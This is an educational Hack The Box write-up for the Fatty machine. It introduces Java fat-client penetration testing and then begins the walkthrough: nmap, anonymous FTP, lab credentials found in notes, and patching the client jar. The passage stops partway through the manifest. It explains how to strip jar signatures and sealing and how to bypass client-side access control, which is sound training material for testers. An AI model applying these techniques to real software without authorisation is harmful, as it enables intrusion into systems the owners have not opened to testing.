Hack The Box: Fatty Writeup

usd AG News

Back in the year 2019, usd HeroLab consultant and security researcher Tobias Neitzel (@qtc_de) created Fatty, a vulnerable Machine that he submitted to Hack The Box. Fatty was released at the beginning of 2020 and focuses on fat client exploitation. In this post, we release the writeup that Tobias created for his initial box submission. It also contains a beginners guide on how to tackle fat clients during a security assessment. Want to improve your fat client assessment skills? Then make sure to read on!

Table of Contents

1.0 – Description

In this writeup I will demonstrate how one can solve the Fatty machine, which implements a vulnerable Java fat client and the corresponding application server. At the beginning of my career I never even heard the term fat client and started with absolutely zero knowledge. Compared to other areas of pentesting, fat client pentests feeled quite overwhelming and it was hard to get into it. However, once you understand some basic concepts, fat client pentests probably become your favorite kind of tests, since they provide a lot of interesting attack vectors.

With Fatty, I tried to implement a vulnerable fat client that is not too hard, but still teaches some valuable concepts of fat client penetration tests. To be honest, I’m far from being a great developer and never really programmed graphical user interfaces in Java before. Therefore, many parts of the code may look weird to an experienced Java developer, but from my experience I can tell you that encountering weird code during a fat client assessment is quite common.

In this writeup I want not only to demonstrate the actual machine solution, but also provide a short introduction on how to engage fat clients. I hope that this document supports other penetration testers to get started with fat clients and helps to make these kind of applications more secure. Providing an introduction to Java fat clients is of course only a small part of the actual field, since fat clients assessments of applications written in e.g. C++ is a whole different story. However, some of the concepts we will talk about can also be useful for other kinds of fat clients and may help you in different situations.

If you are already familar with fat client testing and want to see the actual machine solution, feel free to skip the next chapter.

2.0 – A Gentle Introduction to Fat Client Penetration Tests

At first, we should specify what we actually mean then talking about a fat client. The term fat client has several different definitions, from more general to very specific once. For this post, a fat client is some kind of executable file (elf, exe, jar, …) that, after its execution, spawns a graphical user interface. There are of course exceptions and also other kinds of applications that could be counted as fat clients, but the definition above is sufficient for this introduction. Furthermore, we will focus on fat clients that communicate with a remote server.

The actual testing methodologies can strongly diverge depending on the underlying technology of the fat client. For Java or .NET clients, you can use decompilers to recover the original code in an almost one to one fashion. Furthermore, it is quite easy to insert modifications or to setup your own client skeleton. On the other hand, for clients written in other languages like C++, such a detailed decompilation is not possible and you have to apply different techniques to efficiently engage such clients. In this document we will focus on fat clients written in Java.

2.1 – Fat Client Architectures

While the actual graphical user interface strongly depends on the purpose and design decisions of the fat client, the different communication models between a fat client and its application server often match one of three different architectures:

Two-Tier Architecture

In a two-tier architecture the fat client directly communicates with the service that is responsible for data storage. In most cases, this is some kind of database, but also other technologies like FTP or SMB servers can be found. A diagram of this architecture could look like this:

Such an architecture is very difficult to secure, because the fat client needs direct access to the resource server. In context of databases, this means that the fat client needs a valid database account. Usually, this is realized by one of the following ways:

  1. Hard Coded Database Account – In this implementation, the database credentials for a high privileged user account are hard coded inside the fat client. On client startup, the hard coded credentials are used to connect to the database and a login prompt is displayed to the actual user. After the user has entered his credentials, the existing database connection is used to validate the credentials of the user and to obtain his role inside the fat client. The graphical user interface of the client is then adopted according to the role that was received from the database server. If one wants again to draw a diagram of this situation, it could look like this:

It should be obvious that such an implementation is always insecure. Even the application may provides different user accounts with different roles, all database queries run with the permissions of the same high privileged database account. Attackers can try to extract the database credentials from the client and connect to the database directly, or they can try to manipulate the client in order to execute arbitrary SQL queries.

  1. Multiple Database Accounts – This setup is often used in Active Directory environments, where AD credentials are used to authenticate to the fat client. In this case, each fat client user does also get access to the database server with his own account and the corresponding set of permissions. A diagram of this situation could look like this:

Theoretically, this kind of setup can be secure, since users are only allowed to perform actions that are enabled for their corresponding database role. However, securing a database server for privilege escalation attacks can be difficult too and allowing direct database access for each fat client user can still be a risk.

Three-Tier Architecture

A three-tier architecture is definitely the preferred way and allows to implement fat clients more easily. Like the name already suggests, in this kind of architecture you have an additional layer between fat client and database/FTP/SMB server. This is usually realized by an application server and the corresponding diagram looks like this:

The big advantage of this architecture is, that the application server can handle access control and filtering in front of the storage backend. This helps to prevent a large amount of possible attacks and is also more flexible. Unfortunately, just having an application server in between does not make a fat client automatically secure. These servers can still contain vulnerabilities like broken access control, SQL injections, path traversals, ….

2.2 – Typical Fat Client Vulnerabilities

Like mentioned above, the application server in a three-tier architecture can be vulnerable to a lot of different vulnerability classes. However, most of the time all of them are caused by the same simple implementation mistake: A trust relationship between client and server.

When talking about webapplications, most developers today are aware that all input the server receives is fully controlled by the application user. With tools like BurpSuite it is easy to intercept and modify HTTP requests, which allows a fair amount of possible attacks. Furthermore, by modifying HTTP responses it is often possible to enable functionality that is disabled inside the ordinary user interface (e.g. admin related functions).

For fat clients, this awareness of untrusted input is far behind. Since fat clients spawn a graphical user interface that is often more complex than a simple webapp and often use proprietary binary protocols for client server communication, it is harder to imagine that input arriving on the server could be tainted. And here starts the story of many fat client vulnerabilities like:

  1. Broken Access Control – This is by far the most typical vulnerability inside of fat clients. Different user roles get usually displayed a different user interface, where certain functionality is disabled for lower privileged user accounts. But disabling these functionalities inside the client is insufficient to prevent low privileged users from calling them. Once you have control over the client server communication, you can invoke any method you want on the application server. If access control is only enforced on the client side, this usually leads to critical vulnerabilities.
  2. Insufficient Filtering – Consider a client that allows you to access files on the application server. Often such clients represent electable files as icons that can be opened by double-clicking them. In the underlying implementation, the client probably sends the filename to the server and since this action is induced by clicking an icon, it seems like users are unable to control the filename. But again, once you control the client server communication, you can modify the path manually. This often allows access to the whole file system, by using path traversal attacks.
  3. Debugging Methods – Many application servers implement some debugging methods. These can only be accessed by a special debugging client, that implements calls for these specific methods. Since the ordinary user client does not even implement these methods, it seems like they are secured. However, once an attacker gets knowledge of these methods and again controls the client server communication, also these methods can be called.

We could continue the list with SQLi, insecure deserialization and other vulnerabilities, but I guess the message is clear: Also input generated by a fat client cannot be trusted! For this reason, the main goal during a fat client assessment is to get control over the communication channel between client and server. This can be more or less difficult. There are basically two different scenarios:

  1. The fat client communicates with the server using a known protocol like HTTP or XML. In this case, setting up an interceptor like BurpSuite is often sufficient to intercept and modify the traffic between client and server.
  2. The fat client uses some unknown protocol with encryption, signing and other stuff. In these situations, intercepting and manipulating network traffic is often not sufficient and you will need to build your own client implementation. Wait, we have to write our own fat client? Yes, kind of, but it sounds harder as it is. By looking at the decompiled client code, you can figure out how the actual fat client is setting up the communication channel. This connection setup needs to be implemented by your own Java code. We talk about this process in more detail in a later chapter (2.3.5 – Building Your Own Client).

2.3 – Getting Started

For the rest of this chapter we assume that we were given a fat client application by our customer. The fat client ships as a single .jar file and we have to perform a security assessment on it. So how do we start?

2.3.1 – Getting the Client Running

The most obvious thing you should do when testing a fat client is to get the client running. Without knowing what the client is actually doing and how the user interface looks like, the identification of attack vectors can be difficult. Therefore, make sure that the unmodified client is running on your local system. But sometimes this is already your first problem. Security assessments are often performed in dedicated testing environments and while the application server and database may have moved to this new environment, the client was left unpatched and still tries to connect to the production environment. In such situations, you have to modify the provided .jar file yourself e.g. to change some values in a certain .properties or .xml file. Luckily, .jar files can be easily unpacked, modified and packed again. All of this can be done by using just the zip and unzip utilities:

pentester@kali$ mkdir output
pentester@kali$ unzip example.jar -d output
# make modifications to files in output
pentester@kali$ cd output; zip -r -0 example.jar *; cd -
pentester@kali$ mv output/example.jar .

The -0 flag can be a pitfall since it is required to generate a working .jar file again. However, then following the above instructions, you should be able to patch simple configuration files inside a .jar file quite easily.

2.3.2 – Defeating Signed Jars

When unpacking, modifying and re-packing a .jar file, there is one additional obstacle that might be in place and this is jar-signing. Digital signatures are widely used in information security and also .jar files are no exception. To provide protection from malicious modifications, .jar files can additionally be signed to proof their integrity. If you use the above mentioned approach to modify a .jar file that is signed, execution of the re-packed .jar file will fail, since the signatures of the modified files will no longer match. If you try to execute a .jar file with a broken signature, you should see an error message like this:

pentester@kali$ java -jar signed-jar.jar
Exception in thread "AWT-EventQueue-1" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml
    at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419)
    at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336)
    at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257)
    [...]

The details of this error message are of course different for different applications, but the core error message SHA-256 digest error for … should be roughly the same. Errors that are related to signing and cryptography look always scary, but for jar-signing this is not true and it is very easy to get the .jar file running again.

We have already seen that a .jar file is basically just a zip-archive. Therefore, creating and validating signatures of .jar files is not done by any magic procedure that is hidden from the end user. Instead, the archive just contains a file that stores a signature for each resource contained in the archive. This file is the well known MANIFEST.MF file, that also stores other information about the .jar file:

Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Created-By: Apache Maven
Built-By: root
Build-Jdk: 1.8.0_212
Main-Class: example.Class

Name: META-INF/maven/org.slf4j/slf4j-log4j12/pom.properties
SHA-256-Digest: miPHJ+Y50c4aqIcmsko7Z/hdj03XNhHx3C/pZbEp4Cw=

Name: org/springframework/jmx/export/metadata/ManagedOperationParameter.class
SHA-256-Digest: h+JmFJqj0MnFbvd+LoFffOtcKcpbf/FD9h2AMOntcgw=

Name: org/springframework/format/support/FormattingConversionService.class
SHA-256-Digest: Q1Wy5C/kxkONF+15qSsaFrNLrIuOcu3qpON1u0O+FrY=

Name: org/springframework/context/ApplicationEventPublisher.class
SHA-256-Digest: VuQ0PXRkcCGEBknWpKWaKolUEf2J6gaG0CIJA2n0rhE=
[...]

Since the digest values are not only plain hashes, but also encrypted with the certificate of the creator, we cannot simply recalculate them for our modified files. Anyway, there is an easier solution. You may already asked yourself how Java knows whether a .jar file is signed or not? The answer is: It cannot know this! When executing a signed .jar, Java will look at the manifest file and if signatures are present, it will try to validate these. However, if no signatures are present, the .jar file is assumed to not being signed. Therefore, we can just strip all the signatures to make our .jar file working again (okay, you also need to delete the .RSA and .SF files from the META-INF directory, but still it should be doable).

2.3.3 – Intercepting the Network Traffic

After looking some time on the basic functionality of the client, you should start to intercept some network traffic. If you are lucky, you already see some plaintext HTTP or XML messages, but most of the time the traffic between client and server will be just a binary stream or some encrypted data.

In the case of known protocols like HTTP, you should try to get the client to connect to an interceptor like e.g. BurpSuite. Then you can start clicking around in the client and see which parameters get send to the server. In most cases, looking at these parameters and injecting custom payloads will be sufficient to identify most vulnerabilities in the application server.

The redirection to your interaceptor can be done in various ways. Some clients support a proxy option right away. For others, you can try to setup an entry inside your /etc/hosts file that points to your local interceptor. Java also supports setting up a proxy inside of its global configuration. The biggest problem that you an encounter here is when the client uses TLS and verifies the servers certificate (certificate-pinning). In these cases, you have to invest some additional effort to disable the certificate validation inside the client.

However, many times fat clients use their own proprietary protocol for client server communication. In these cases, setting up an interceptor and modifying the binary messages is not the preferred solution. Instead, you should try your build your own client, which will be discussed soon.

2.3.4 – Decompiling the Client

One very nice thing about Java clients is that you can recover the original source code basically in a one to one relationship. This job is done by decompilers and several different ones are available for free on the internet. If you like to work with IDEs and are generally a fan of graphical user interfaces, I can recommend bytecode-viewer. However, for myself I use different tools that fit more into my workflow. For decompilation I use the cfr-decompiler, which has been proven fast and stable. Once the client is decompiled, I use Visual Studio Code and its open folder function to step through the decompiled Java code. Which tools you choose for decompilation is just a matter of taste and you should try different one to find your perfect match.

Depending on the size of your fat client, you probably have a huge amount of source code after decompilation. You may feel overwhelmed and do not know where to start. The good news is, that you can skip a lot of stuff that you have decompiled. E.g. you will see folders like org/apache/log4j. Well, this is standard software and nothing related to the fat client you are targeting. The naming conventions for Java packages can be very helpful here. E.g. if your client was developed by a company in Hungary, it is likely that all their packages start with hu. Only look on packages that are really related to your fat client and do not waste your time with standard software.

Like already mentioned before, the most interesting thing about fat clients is to control the communication channel. Therefore, understanding how the client establishes a connection to the server is very important and this is the first thing you should try to understand from the source code . But even then looking only at the fat client related packages, the amount of decompiled code can still be huge. To go through it in a structured way is key during a fat client assessment and there are generally two approaches to do this:

  1. The Top-Down Approach – In this approach you search for the Java class that implements the main method. The manifest of a .jar file can often tell you where the main method is defined, since it contains a Main-Method attribute. Once you have identified the main method, you just try to understand what the client is doing on startup and try to find your way down to the connection related classes. This approach is suitable for clients with a relatively small codebase. If the client is too big, you might get lost trailing down the paths of all the different classes.
  2. The Bottom-Up Approach – In this approach you start by searching for the connection specific classes. This can be done by looking for specific keywords like connect, session or things like the server name, port and so on. Usually you find the classes you are searching for rather quickly and can then start to understand how they are used by the client. This approach works great for clients with a rich codebase, since you start directly from the point you are interested in. However, it is more complicated to understand the relationships between different classes.

After you spent enough time on the source code of the client, you should be able to answer the following questions:

  • Which classes and functions are used to establish the connection to the remote server?
  • What is the resulting object of a successful connection?
  • How is the resulting connection object used to invoke methods on the remote server?

If you feel confident to answer these questions or you are able to explain why they do not apply to your current fat client, you are ready to start building your own client.

2.3.5 – Building a own Client

Building a own Java client sounds quite scary and before we start I want to clarify what do we actually mean by this.

A Java fat client is nothing else than an composition of Java classes and functions that are bundled into one or more .jar files. There are certain functions that are responsible for spawning the graphical user interface, there are certain functions responsible to access local resources and there are certain functions that are responsible for communicating with the remote server. Instead of writing a Java client fully on our own, we simply utilize the classes that are already present. By importing the code of the fat client, we can access all the methods and classes that are defined inside of it and simply imitate the startup code of the client.

Like mentioned before, we are mostly interested in controlling the communication channel between client and server. When starting the fat client normally, it invokes its contained functions in a particular order. E.g. first of all functions are called to load local configuration files. Then the graphical user interface is spawned and finally a connection attempt to the server is made. As pentesters, we are not interested in most of this stuff. We do not require a graphical user interface, but just want to setup the connection to the remote server. Therefore, we have to reorder and to reduce the fat client code to the function calls that are required to setup a working connection.

Building an own client is probably the most fun step about fat client assessments and it is usually the door opener. Often you will spend 80% of your time in understanding the connection model and how to build your own client. This can be super frustrating, since you see no real progress over a long amount of time. However, once your own client is working, the actual identification and exploitation of vulnerabilities goes rather quickly. The main two benefits of having a own working client are:

  1. You do not have to understand / extract / modify the underlying transfer protocol between client and server. Often fat client vendors develop their own binary protocols, that may also utilize encryption and signing. By building your own client, you simply invoke functions on the corresponding classes that are shipped by the fat client. You do not have to care about the low level implementation details, but instead invoke high level methods to get the job done.
  2. By building your own client, you circumvent all client side protection mechanisms. Like already said, many fat clients implement access control only on the client side by disabling corresponding functionalities inside the graphical user interface. In your own client you can skip all the GUI related stuff and just invoke the methods directly, that are normally launched by a click in the GUI. This gives you much more freedom and also a totally differed view on the clients functionalities.

In this short introduction, I do not want to show you the full process of writing your own client. Later when discussing Fatty, you will see a practical example that goes into more detail on this. Instead I want to show you how you can use Eclipse IDE to access the classes and functions that are defined in a .jar file. In general, the approach for building your own client is not IDE dependent. You could also do it from scratch by just using your command line. However, I strongly recommend to use an IDE, since it makes the process much easier.

As an example, we assume that we have determined the class htb.fatty.client.connection.Connection to be responsible for the connection setup to the remote server. We want to call functions from this class in our own code, but by simply using an import statement in our Java code, we get an error that the corresponding class is missing.

To fix this issue we need to import the classes that are defined in the .jar file. In Eclipse, you can do this by configuring your build path. Just right-click the JRE System Library field in the package-explorer, go to the field Build Path and select Configure Build Path.

After clicking, a new menu should pop up which supports different Build Path modifications. To add classes that are contained in a .jar file, use the Add External Jar field. This allows you to add a specific .jar file from your file system. You can also select multiple jars, which is helpful for clients consisting out of more than one .jar file.

With the .jar in your Build Path, you should now be able to use the classes defined inside the .jar file.

Now you can start to build your own client by using the classes that are defined inside the source code of the fat client. A simple proof of concept is to write an own class that contains a main function and simply launches the main function that is defined by the client. If everything works like expected, you should see the ordinary graphical user interface popping up. From here it is your job to reduce and reorder the original code from the fat client to get a own working minimal Java client.

2.3.6 – Patching Classes

Sometimes it can be helpful to patch classes, e.g. to disable some client side protection mechanisms. Remember that your own client basically relies on method invocations of classes defined inside the .jar file of the fat client. By default, these methods may implement some filtering or other protections that are an obstacle for your attack. By patching the class, you can modify its methods and disable the protection mechanisms.

Patching classes is normally not a big deal. Imagine you have the class htb.fatty.client.example.Test defined inside the .jar file and you want to modify the code of it a little bit. In this case, you can simply add the package htb.fatty.client.example to your Eclipse project, create the class Test inside of it and copy the decompiled Java code from the original class. When Eclipse tries to resolve a class, it will prefer the one that is defined in your local project, instead of class that is defined in an external .jar file. Therefore, any modification that you make to your local class Test should directly apply for your own Java client.

That being said, there is one obstacle you may encounter when patching classes from the client and this obstacle is called Sealing.

2.3.7 – Defeating Sealed Jars

Sealing is an additional feature for .jar files, that tries to prevent errors in the presence of ambiguous class names. In contrast to singing, it is not really a security feature, but it can be annoying when you try to patch classes from a fat client. A sealed .jar file contains an additional field inside of its MANIFEST.MF, which is simply Sealed: True.

When a .jar file is sealed, the author basically says that the packages inside the .jar file are self contained. Therefore, it is not allowed to define local instances or additional classes for this package outside of the .jar file. If you think that this is confusing, you are probably right and I guess an example is required to really understand it:

Consider that we want again to patch the class htb.fatty.client.example.Test. Inside Eclipse, we create our own package htb.fatty.client.example and define the classTest. If Test is the only class in the example packe, we do not get any problems with sealing. However, imagine that the package htb.fatty.client.example does contain another class Test2. Now we get into troubles. Our client will try to load Test from our local projet and Test2 from the .jar file. But since the .jar file is sealed, Java knows that it should be self contained and does not allow definitions to htb.fatty.client.example outside of the .jar file. If you run a Java executable that violates sealing rules, it will die and throw a corresponding exception.

As in the case of signing, you can get around sealing by simply modifying the .jar file. Just follow the same procedure we described above to unpack the .jar file, remove the Sealed: True field from the MANIFEST.MF file and pack your .jar file again. After these steps, all sealing violations should be gone.

2.3.8 – The Spring Framework

The last point I want to discuss in this fat client introduction is the Spring framework. Actually, Spring is not really connected to fat client security assessments and there is no guarantee that a fat client is using Spring. That being said, the Spring framework is very popular and many fat clients make use of it. Spring is super powerful and supports many different functionalities. In the following text we only discuss some features of Spring that will help us to solve the Fatty machine.

A very common design pattern in Java are classes that depend on other classes. For example lets take the Connection class of a fat client, that is responsible for the connection setup to the remote server. This class may requires other connection relevant information which is stored in other classes. For example, the class Connection may requires an object from the ConnectionInformation class, that stores the hostname and port of the remote server. Furthermore, it may requires a SecurityManager class that stores information on the SSL context. Therefore, the constructor of the Connection class could look like this:

public Connection( ConnectionInformation cInfo, SecurityManager sManager) {
  ...
}

Now consider how to instantiate an object of the Connection class inside your code. You could first of all create an object of the ConnectionInformation class, then an object of the SecurityManager class and finally use both to create an object of the Connection class. This works, but defining all this class dependencies manually is a tedious work. Moreover, the ConnectionInformation and SecurityManager classes may require other objects or information on their own, that need to be present during their creation.

With the Spring framework, such class dependencies can be handled easily by using the Inversion of Control Container (IoC). The IoC container is responsible for creating objects, initializing them and especially for managing the dependencies among them. Another keyword that you can find very often in this context is dependency injection, which describes the process of managing the dependencies between different objects. Objects created by the IoC container are also called Beans.

So how does Spring can help in situations like described above? When using the IoC container, you can define the building patterns for objects inside of XML files (you can also use Java annotations, but I guess the XML variant is easier to understand). A corresponding XML file for the scenario mentioned above could look like this:

<?xml version = "1.0" encoding = "UTF-8"?>

<beans xmlns="http://www.springframework.org/schema/beans"
       xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
       xsi:schemaLocation="
                http://www.springframework.org/schema/beans     
                spring-beans-3.0.xsd">

   <bean id="connectionInformation" class = "htb.fatty.shared.connection.ConnectionInformation">
      <constructor-arg index="0" value = "sever.to.connect.to"/>
      <constructor-arg index="1" value = "8080"/>
   </bean>

   <bean id="trustManager" class = "htb.fatty.shared.connection.TrustManager">
      <property name = "keystorePath" value = "fatty.p12"/>
   </bean>

   <bean id="connection" class = "htb.fatty.server.connection.Connection">
      <constructor-arg index = "0" ref = "connectionInformation"/>
      <constructor-arg index = "1" ref = "trustManager"/>
   </bean>

</beans>

As you can see, the XML file does define a total of three different beans.

  1. The first bean is an object of the class ConnectionInformation and it takes two additional constructor arguments. The constructor of this class probably looks like this:
  public ConnectionInformation(String hostname, int port) { 
    ...
  }

Since the IoC container handles object creation for you, it needs to know all parameters that are required by the constructor in order to create an object of the corresponding class. Also notice that the corresponding parameters are marked as constructor-arg inside the XML file.

  1. The second bean is an object of the TrustManager class and takes one additional argument. Notice that this time the constructor-arg declaration is missing and the property keyword is used instead. This form of parameter definition is required for classes that take their parameters through setter functions and not by a constructor. In such cases, Spring requires the constructor of the corresponding class to take zero arguments and it expects the presence of a setter function with name setParamatername (setKeystorePath in our example).
  2. So far we only saw beans that take static parameters as input arguments. The third bean defined inside the XML file is an object of the Connection class and takes two additional constructor arguments. In contrast to the other beans, these two arguments are not just Strings or Integers, but object instances of other classes. As a reminder, here is the constructor of the Connection class:
  public Connection( ConnectionInformation cInfo, SecurityManager sManager) {
    ...
  }

Instead of specifying the value of the arguments using the value keyword inside the XML file, we use the ref keyword that can be used to reference other Bean definitions. The IoC container knows, that it needs to create object instances for the trustManager and connectionInformation Beans first, before it can create the connection Bean.

Now that you know how the IoC container creates objects Beans), we should take a look at how this actually works inside the source code. To show this, consider that the above mentioned XML file has been stored as beans.xml inside our class path. If we want now to create an object of the Connection class using the IoC container, we can just make the following calls from our Java code:

ApplicationContext context = new ClassPathXmlApplicationContext("beans.xml");
Connection obj = (Connection) context.getBean("connection");

Simple, isn’t it? We just load our XML configuration file and ask the IoC container for the desired Bean.

Fat clients that are using Spring can be very dangerous when using the Bottom-Up approach for investigating the clients source code. Starting from the low level classes, you will see many class dependencies and may overlook that the client is using Spring to wire all of them together. Recognizing that a client is using Spring and utilizing it to create complex objects with just a few lines of code can be very important.

2.4 – Fat Client Conclusions

We have now finished our brief tutorial on fat client penetration testing. The goal of this introduction was to explain some general concepts and to introduce certain terms that you may encounter during a fat client security assessment. If you would ask me to reduce the fat client introduction into a single take home message I would formulate it like this:

Always try to get control of the communication channel between client and server.

This is the most important part of a fat client penetration test and once it succeeds, chances are high that you will identify some dangerous vulnerabilities.

That being said, with only the short introduction from above it will still be difficult to engage a real world fat client. Practice is probably the most important thing in preparation of a fat client assessment. Fatty gives you the opportunity to practice most of the above mentioned concepts against a small Java client.

3.0 – Getting User on Fatty

Now that we have a basic understanding of fat clients, we can finally start to take on the Fatty machine. The following sections will show you one example, how you can get access to the Fatty application server. However, as with any machine that was configured intentionally vulnerable, there may be other paths that let you takeover the system.

3.1 – Starting Enumeration

As with any other machine, we start with a nmap scan to get an overview of the exposed endpoints:

[pentester@kali ~]$ sudo nmap -sV -p- 10.10.10.174
Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-08 00:25 CEST
Nmap scan report for fatty.htb (10.10.10.174)
Host is up (0.032s latency).
Not shown: 65530 closed ports
PORT     STATE SERVICE            VERSION
21/tcp   open  ftp                vsftpd 2.0.8 or later
22/tcp   open  ssh                OpenSSH 7.4p1 Debian 10+deb9u7 (protocol 2.0)
1337/tcp open  ssl/waste?
1338/tcp open  ssl/wmc-log-svc?
1339/tcp open  ssl/kjtsiteserver?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Not too much ports open. Starting from the lowest port number, we see that nmap prints a relatively old version of vsftpd. However, when connecting to the FTP server we can see that nmap did only made a wild guess:

[pentester@kali ~]$ ftp 10.10.10.174
Connected to 10.10.10.174.
220 qtc's development server
Name (10.10.10.174:pentester):

Instead of returning a banner that contains the server version, the system administrator of this box has changed the banner to some useless text. The actual vsftpd version can therefore be much higher than 2.0.8. We could now test some known exploits against the server, but exploiting logical vulnerabilities is far more fun. So lets see if we can login using the anonymous user:

Name (10.10.10.174:pentester): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 ftp      ftp      15426727 Oct 30  2019 fatty-client.jar
-rw-r--r--    1 ftp      ftp           526 Oct 30  2019 note.txt
-rw-r--r--    1 ftp      ftp           426 Oct 30  2019 note2.txt
-rw-r--r--    1 ftp      ftp           194 Oct 30  2019 note3.txt
226 Directory send OK.

As once can see, the anonymous login is successful and the server offers a bunch of files. First of all, we get a .jar file with name fatty-client.jar. Since already the introduction was about fat clients, you may already assume that this will be the fat client we are working with. Additionally, we get a
bunch of notes.

[pentester@kali ~]$ cat note.txt 
Dear members, 

because of some security issues we moved the port of our fatty java server from 8000 to the hidden and undocumented port 1337. 
Furthermore, we created two new instances of the server on port 1338 and 1339. They offer exactly the same server and it would be nice
if you use different servers from day to day to balance the server load. 

We were too lazy to fix the default port in the '.jar' file, but since you are all senior java developers you should be capable of 
doing it yourself ;)

Best regards,
qtc
[pentester@kali ~]$ cat note2.txt 
Dear members, 

we are currently experimenting with new java layouts. The new client uses a static layout. If your
are using a tiling window manager or only have a limited screen size, try to resize the client window
until you see the login from.

Furthermore, for compatibility reasons we still rely on Java 8. Since our company workstations ship Java 11
per default, you may need to install it manually.

Best regards, 
qtc
[pentester@kali ~]$ cat note3.txt 
Dear members, 

We had to remove all other user accounts because of some seucrity issues.
Until we have fixed these issues, you can use my account:

User: qtc
Pass: clarabibi

Best regards,
qtc

Okay, lets summarize the information that we find inside these note files:

  1. We have to patch our fatty-client.jar manually, to connect either to port 1337, 1338 or 1339 of the application server.
  2. If we have struggles with the layout, we should apply some resizing.
  3. We got a valid set of credentials: qtc:clarabibi (what else?). Furthermore, we know that all other accounts are disabled.

This information is of course pretty valuable for us. Not only we got a set of valid credentials, but also we know what is running behind the ports 1337, 1338 and 1339. Investigating these ports manually does probably not make a whole lot of sense, since the fat client may uses a binary protocol to communicate with the server. Instead we should focus on the .jar file that we have downloaded from the FTP server to communicate with these ports.

3.2 – Getting Fatty Running

Like mentioned in our brief fat client introduction, step one is always to get the client running. So lets launch the .jar file to see what happens without any modifications. At this point, you may already encounter some problems. Make sure to download the fatty-client.jar in FTP Binary Mode and launch the .jar using Java version 8. This version of Java is old, but still maintained and very common. If you don’t know which version is required by a .jar, starting with Java 8 is usually a good guess. When following these recommendations, you should see the following user interface:

This does not look too bad! At least the client is starting already. However, once we hit the login button, we will get the expected connection error.

We can use wireshark to understand what the client is trying to do after hitting the login button:

As you can see, it already fails on the DNS lookup. The client connects per default to server.fatty.htb, which is not resolvable by the DNS server. The easiest fix is to add this entry to the/etc/hosts file, but also in this case, we will get still a connection error.

As you can see, the client tries to connect to port 8000 of the remote server. This is exactly the behavior described in the note.txt file and it seems that we need to patch the client manually to correct this (we could also cheat and use e.g. iptables with a d-nat rule to redirect the network traffic to the correct port, but patching the client creates probably the same amount of effort).

Patching properties like the hostname or port number of the remote server has usually not to be done inside the decompiled Java code. Most developers are aware that these values can change over time and allow to set them using configuration files. In the context of Java, .properties files are a common place to store such information and they are stored as plain text files inside a .jar. Extracting the contents of the .jar file, modifying the .properties files and repacking the .jar file is therefore usually enough to apply small patches.

Like mentioned in the introduction, we can extract the contents of the .jar file using the unzip command. After the contents are extracted, we can simply use grep over the different files and search for either the hostname server.fatty.htb or the port number 8000. To speed up the process, we can also exclude all files with a .class ending.

pentester@kali:~/$ unzip -d unzipped/ fatty-client.jar 
pentester@kali:~/$ grep -E -R "server.fatty.htb|8000" --exclude \*.class unzipped/
unzipped/beans.xml:      <constructor-arg index="0" value = "server.fatty.htb"/>
unzipped/beans.xml:      <constructor-arg index="1" value = "8000"/>

As you can see we find the corresponding configuration options inside the beans.xml file. Furthermore, this does indicate that the client is using the Spring framework, since we know the file format of beans.xml from our short Spring introduction.

Since the hostname server.fatty.htb was already set in our /etc/hosts file, we only need to reconfigure the port to 1337, 1338 or 1339. Then we can repack the .jar file again and check whether the login is working.

pentester@kali:~/unzipped$ zip -r -0 fatty-client.jar *
pentester@kali:~/unzipped$ java -jar fatty-client.jar
Exception in thread "AWT-EventQueue-1" org.springframework.beans.factory.BeanDefinitionStoreException: Unexpected exception parsing XML document from class path resource [beans.xml]; nested exception is java.lang.SecurityException: SHA-256 digest error for beans.xml
    at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.doLoadBeanDefinitions(XmlBeanDefinitionReader.java:419)
    at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:336)
    at org.springframework.beans.factory.xml.XmlBeanDefinitionReader.loadBeanDefinitions(XmlBeanDefinitionReader.java:304)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:188)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:224)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:195)
    at org.springframework.beans.factory.support.AbstractBeanDefinitionReader.loadBeanDefinitions(AbstractBeanDefinitionReader.java:257)
    at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:128)
    at org.springframework.context.support.AbstractXmlApplicationContext.loadBeanDefinitions(AbstractXmlApplicationContext.java:94)
    [...]

Hm… An exception occurs once we hit the login button. The core of this exception is the error message: SHA-256 digest error for beans.xml. From the fat client introduction we know that this error is caused by a signature mismatch inside of a signed .jar file. It seems that fatty-client.jar was signed and by modifying the beans.xml file, we have caused an invalid signature inside the .jar file. Fortunately, we know already how to patch this.

We go back to the unzipped contents and open the MANIFEST.MF file. Indeed, we will see some signatures:

pentester@kali:~/unzipped$ cat META-INF/MANIFEST.MF | head -n 20
Manifest-Version: 1.0
Archiver-Version: Plexus Archiver
Built-By: root
Sealed: True
Created-By: Apache Maven 3.3.9
Build-Jdk: 1.8.0_222
Main-Class: htb.fatty.client.run.Starter

